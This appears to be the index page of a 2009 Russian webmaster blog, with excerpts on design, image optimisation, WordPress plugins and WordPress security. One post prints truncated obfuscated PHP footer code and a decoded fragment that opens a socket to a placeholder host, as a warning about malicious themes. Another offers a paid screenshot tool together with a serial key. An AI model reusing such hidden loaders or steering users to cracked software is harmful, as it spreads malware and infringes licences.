Блог для вебмастеров

Тенденции 2009 года в дизайне логотипов компании

Суббота Апрель 4thДизайн Рубрика

2009 год обещает стать нечто экспериментальным и невероятным. Новые тенденции основаны на некогда забытых старых.

Психоделические фоны. Изображения мощные и яркие цветные.

дизайн логотипов дизайн логотипов 2009

Дальше интереснее →

Как расшифровать темы Wordpress и удалить ссылки с footer?

Воскресенье Март 22ndWordpress Рубрика

Многие из вас замечали, что в бесплатных темах wordpress авторы шифруют свои копирайты. Код в футере темы (footer.php) выглядит закодированным примерно так:

eval(gzinflate(base64_decode(’FZrHErPasYVfxTMfFwNyqmv7FDnnJJi4iCKLnJ7+8msmBq

base64 в footer

Но бывает, что в футер таким образом подгружают реальный исполняемый код.

После декодирования (функция, base64_decode), текст может уже выглядеть более подозрительно

if($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen(”www.domen.com”, 80

Внедряя ява-скрипт на страницу, злоумышленники могут крутить рекламу, а самое неприятное – получить информацию, сохраненную в браузере.

Этот пост написан для того, чтобы вы призадумались перед установкой очередного шаблона. Я не против защиты авторских прав.

Так как же расшифровать кодированные темы wordpress?

1. Существуют онлайн php декодеры base64 Дальше интереснее →

Оптимизация изображений для web в форматах JPEG, PNG24, PNG8, GIF

Суббота Март 21stTools, Дизайн Рубрика

Работа по оптимизации изображений для web делится на два этапа:
- подготовка изображения в редакторе
- процесс сжатия.

Не будем останавливаться на операциях по коррекции уровней, балансу цветов, насыщенности и кадрированию. Перейдем к параметрам, влияющим на степень возможного сжатия изображения.

разрешение 72ppi

Разрешение (Resolution) задаем стандартное для Web – 72ppi, пропорции сохраняем (Constrain Proportions). Размер изображения в пикселях желательно задать минимально необходимый. Ориентироваться следует на самое распространенное разрешение экрана, которое в настоящее время составляет 1280х1024 (1280х800 для широкого экрана).

При любом изменении размеров (кроме обрезки – Crop) главное Дальше интереснее →

Сделать правильный скриншот с экрана с программой Snagit просто!

Суббота Март 21stTools, Дизайн Рубрика

Скриншоты (Screenshots), снимки экрана монитора очень важны для различных мануалов, статей, презентаций, представления нужной информации. Захват изображения с экрана экономит время при создании пояснительных рисунков.

При снятии скриншотов для размещения в интернете необходимо получить качественное изображение при минимальном объеме. В этой статье мы рассмотрим программы для снятия скриншотов и способы сжатия картинок.

Частый вопрос: как сделать скриншот игры, экрана, видео?

На клавиатуре есть кнопка PrintScreen, которая копирует изображение экрана в буфер обмена.
ALT+PRNT_SCR копирует только активное окно.

Существуют специальные программы скриншоты.
Бесплатная Screen Hunter 5.1 Free. Прямая ссылка на скачивание здесь
Платная SnagIt. Здесь можно качнуть прогу+русификатор+serial

Для снятия скриншота видео в плеерах обычно имеется специальная функция.

Остановимся более подробно на сжатии скриншота и подготовки его для web.

Веб-мастера обычно сжимают скриншоты в формате JPEG, что завышает объем файла в несколько раз по сравнению с форматами GIF и PNG-8. Причина этого в особенностях программ снятия скриншотов. Если снимок экрана сразу сжимается в JPEG, то дальнейшая его оптимизация для Web в других форматах будет неэффективна и не даст уменьшения размера в приемлемом качестве.

Приведем пример:

Мы сделали скриншот окна в фотошоп. Изображение его на рисунке ниже. Сохранили в формате BMP под именем imagesize1.bmp, в формате JPEG – imagesize5.jpg, в формате GIF – imagesize6.gif

изображение с минимальным размером

Далее в фотошопе с помощью команды Save for Web сжали его в форматы таким образом, чтобы синяя полоса окна оставалась в таком же качестве:
Из BMP – imagesize1.bmp -> в JPEG при Quality=60% – imagesize2.jpg
Из BMP – imagesize1.bmp -> в PNG8 – imagesize3.png
Из JPEG – imagesize2.jpg -> в PNG8 – imagesize4.png

размеры изображений

Размеры полученных файлов позволяют сделать следующий вывод: исходники изображений для дальнейшей оптимизации должны быть в несжатом формате BMP, TIFF (со сканера например), PSD.

Какой выбрать формат графического изображения – gif, jpeg, png?

Воскресенье Март 15thДизайн Рубрика

Чтобы при оптимизации изображений достичь наилучших результатов, нужно правильно выбрать формат графического изображения.

В этой статье мы кратко обсудим популярные GIF и JPEG форматы, а затем перейдем к PNG и развеем некоторые неверные представления о нем. Дальше интереснее →

Плагин wordpress GoCodes – редирект партнерских ссылок. Русская версия

Четверг Март 5thTips and Tricks, Wordpress Рубрика

Тестировано: Wordpress 2.3.3 – 2.7

Плагин URL редирект/сокращенная линка . Очень удобен для сокращения урлов партнерских программ.

== Описание ==

Плагин предназначен для перенаправления заданных ссылок и представления их в удобном формате.
Например:
Ссылку http://blogun.ru/stocksddaiff.html с помощью плагина можно будет представить просто в виде http://blogwm.ru/go/blogun/
Дальше интереснее →

Безопасность wordpress – уязвимости в блоге и способы защиты

Среда Март 4thTools, Wordpress Рубрика

Основной недостаток wordpress, как и любой другой открытой бесплатной платформы для блогов – это конечно ее доступность в том числе злоумышленникам. Скачал, изучил, нашел ошибки. И вперед ломать). В этой статье рассмотрим основные способы защиты блога на wordpress.

1. Удаление информации о версии WordPress

Скрыть версию движка wordpress можно вручную. Удалите из header.php,sidebar.php и footer.php, также из RSS фида в папке /wp-includes/ строчку

<meta name=”generator” content=”WordPress 2.5″ />

Либо просто измените название CMS

<meta name=”generator” content=”Joomla” />

или версию движка в папке /wp-icludes/ в файле version.php
Дальше интереснее →

33 лучших текстовых эффекта photoshop

Вторник Сентябрь 23rdДизайн Рубрика

В этой статье рассматривается 33 способа создания различных текстовых эффектов в Photoshop.

1. Эффект прошитого текста

Прошитый текст

2. Светящийся текстовый эффект

Прошитый текст

3. Текст напыленный краской (спрей)

Текст напыленный краской (спрей)

4. Эффект текста с блеском золота Дальше интереснее →

Javascript сортировки таблицы (sorttable.js) от Stuart Langridge

Среда Сентябрь 17thTips and Tricks Рубрика

Несколько дней назад я искал хороший и простой способ сортировки данных в таблице простым нажатием на заголовки таблицы. Я нашел интересный скрипт от Стюарта Лангриджа (Stuart Langridge) sorttable.js.

sort table

Скачать пример (вместе с sorttable.js)

Это руководство объясняет, как использовать его в своих проектах:
Дальше интереснее →

Красивый дизайн легких и удобных сайтов в минималистичном стиле – 26 примеров

Вторник Сентябрь 16thДизайн Рубрика

Каждый человек имеет свое мнение о том, что такое минималистичный дизайн. Представляем Вам примеры веб-сайтов, которые используют очень мало ненужных элементов дизайна, но при этом удобны, легко загружаются и имеют красивый внешний вид. Во время проектирования, я уверен, вы найдете вдохновение и свое определение “минималистичного дизайна” на примерах этих сайтов.

Ben Hulse Design
Портфолио дизайнера и фотографа

ben hulse

Brand Spanking New
Трехколоночный блог с видом, акцентирующем внимание на контенте.

Brand Spanking New

Jan Reichle
Домашная страница режиссера и кинематографа в черно-белых тонах.

Jan Reichle

John Merrells
Блог предпринимателя в простом виде с изображением заголовка. Дальше интереснее →

Страница 1 of 212»